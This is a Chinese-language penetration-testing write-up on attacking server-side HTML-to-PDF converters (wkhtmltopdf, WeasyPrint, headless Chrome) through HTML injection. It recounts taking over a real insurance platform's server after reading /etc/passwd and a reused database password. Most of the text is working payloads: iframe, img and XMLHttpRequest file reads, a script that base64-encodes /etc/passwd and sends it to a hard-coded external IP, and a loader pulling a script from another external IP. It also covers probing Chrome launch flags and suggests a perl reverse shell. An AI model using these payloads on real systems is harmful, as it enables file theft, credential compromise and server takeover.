上次火线审核整理SSRF的时候找我沟通,聊到了PDF的SSRF,当时答应了找找之前的存档写个文档。遂写下改小菜文。大佬们勿喷。(文章写于去年,随便记录的文章,可能存在逻辑或者图片的丢失。)
那就直接进入正题。 众所周知,很多平台都会存在讲网页导出为pdf文件进行下载的功能。而常见点为:发票打印、行程打印、车票打印、保单下载等。而pdf转换工具很容易产生漏洞。一般是2个方面导致:
1、因为pdf一般是后端的组件,有的开发可能配置成
wkhtmltopdf /tmp/html123.htm /uploads/pdf.pdf ,那就可直接利用file协议进行利用##
2、 同时pdf组件由于自身的代码问题或者调用的内置浏览器存在问题导致漏洞。
存在漏洞版本:
wkhtmltopdf 全版本目前0.12.6
weasyprint <=48
等等
案例:
有平台保单定制功能,其中定制完保单信息,可以pdf导出。
然后数据包可知是通过前端传入姓名之类的信息到后端进行插入,导出pdf.
通过pdf的创建者可知是通过pdf编辑器wkhtmltopdf进行pdf文件的转换。
同时这个wkhtmltopdf本身也存在其他问题。这里就不表述,主要是看此处可以进行html注入。
利用方式1:
<iframe+src="http://xxx.xxx.xxx.xxx/p/55a964/mIpS/">
此处使用xray的oob平台进行设置重定向。
然后成功读取到/etc/passwd文件,最终也通过读取服务器上的配置文件读到数据库的密码。发现ssh的密码就是数据库的密码,直接拿下服务器。
一般测试过程,可以通过如下方式获取后端解析的组件及版本。
1、畸形数据包包错,此处未上图。##文档是去年写的 我也不知道我为什么没上图。
2、从pdf文件或者图片文件中的创建者或者pdf文件信息中可知。pdf文件的头部信息。
Google Chrome 版本85 ###HeadlessChrome
iText-5.5.10 #发票多是该组件。
3、UA进行判断,当可出网一般这种功能也包括截图、爬虫导出相关的,一般都是能出网。
Google Chrome 81 Linux x64位 ###HeadlessChrome
然后尝试基本的payload进行注入:
`常规payload:
<h1>test</h1>test2 探测
<iframe src="file:///etc/password">
document.location
<img src=x onerror="document.write(document.location)"/>
<img src=x onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///etc/passwd">
<img src=x onerror=document.write(window.location)> ##xss读取本地执行目录 然后可以尝试读取该目录下源文件
##默认存在同源策略不允许直接跨目录实现文件读取。只能读取web目录下的,绕过方法:
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
带外平台利用:也可用户ssrf配合存储型xss。
方法1:
poc:
<img src=x onerror="document.write('<script src=http://118.89.51.162:8099/test.js></script>')"/>
方法二:
就是例子
通过oob实现location重定向file:/// 实现绕过浏览器同源策略限制加载到本地文件。
####cat test.js
function reqListener () {
var encoded = encodeURI(this.responseText);
var b64 = btoa(this.responseText);
var raw = this.responseText;
document.write('<iframe src="http://121.36.77.64/p/70d6b5/2T8P/?data='+b64+'"></iframe>');
}
var oReq = new XMLHttpRequest();
oReq.addEventListener("load", reqListener);
oReq.open("GET", "file:///etc/passwd");
oReq.send();
oob平台将收到bs4的payload。
可利用标签:
img\iframe\link\script等等。
`
可以先通过document.write(document.location)判断开发设置的类型:
有的可能是:也就是我说的出现问题的情况1 pdf组件 本地文件 pdf.pdf;
。图片来源网上,因为我也忘记补图了。
如果是后端是HeadlessChrome的话, ##不管是截图还是导出pdf。一般为了保持稳定,版本都会很低。默认root权限或者docker启动的话,一定会包含--no-sandbox。
低版本可用:
<html>
<script type="text/javascript">
window.open("about:")
</script>
</html>
进行探测得到chrome信息。主要是启动参数,因为启动参数是否包含--no-sandbox -allow-file-access-from-files
--remote-debugging-port=等危险参数,
如果探测不到,那就尝试基本的ssrf,不行的话 可以尝试盲打Chrome的版本漏洞。不管是截图还是pdf转换,默认情况都会执行js,很多情况下是能直接命令执行。
#不过此处需要注意下大多会使用docker默认的环境,很多命令会缺失,可以通过perl进行反弹相对稳定。